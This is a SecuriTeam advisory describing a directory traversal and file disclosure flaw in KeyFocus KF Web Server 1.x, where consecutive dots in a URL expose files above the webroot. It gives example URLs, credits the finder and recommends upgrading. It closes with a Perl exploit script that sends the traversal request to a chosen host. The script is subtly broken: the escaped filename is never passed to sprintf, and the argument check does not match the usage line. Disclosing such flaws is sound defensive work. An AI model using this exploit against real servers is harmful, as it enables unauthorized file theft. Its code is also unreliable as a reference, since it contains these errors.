SecuriTeam - KeyFocus KF Web Server File Disclosure Vulnerability

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

KeyFocus Web server is a Win32 HTTP server with web administration, a variety of logging formats, such as NCSA and W3C, CGI, compression, memory caching of static documents, directory indexing, pre-defined MIME settings, internal authentication with support for multiple realms, and a variety of URL checks that make it more secure against hacking attempts such as buffer overruns.

Credit:
The information has been provided by Matt Murphy.

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Vulnerable systems:
* KFWS version 1.x

Immune systems:
* KFWS version 2.0.0

KFWS contains a flaw that enables attackers to traverse above the webroot in the directory structure. This is not a traditional directory traversal attack. KFWS does not properly handle consecutive dot characters in the file name:

http://kfws/.           - Current Directory
http://kfws/..          - 403 Forbidden
http://kfws/...         - KFWS install dir (OOPS!)
http://kfws/....        - Program Files
http://kfws/.....       - \

This vulnerability is limited by the internal hack defenses of the server -- only files with recognized MIME types can be retreived. This significantly limits the damage from this vulnerability.

Solution:
KFWS v2.0.0 (Beta) eliminates this vulnerability, and the next stable version will eliminate the flaw as well. Administrators who are concerned about this flaw should upgrade to the beta.

Exploit:
#!/usr/bin/perl
use URI::Escape;
use IO::Socket;
if (@ARGV < 2) {
print STDOUT "Usage: perl $0 [filename] [host] [port]";
} else {
$f =
IO::Socket::INET->new(PeerAddr=>$ARGV[1],PeerPort=>$ARGV[2],Proto=>"tcp");
$url = uri_escape($ARGV[0]);
$exploit = sprintf("GET /.............../%s HTTP/1.0\r\n\r\n");
print $f $exploit;
undef $f;
}

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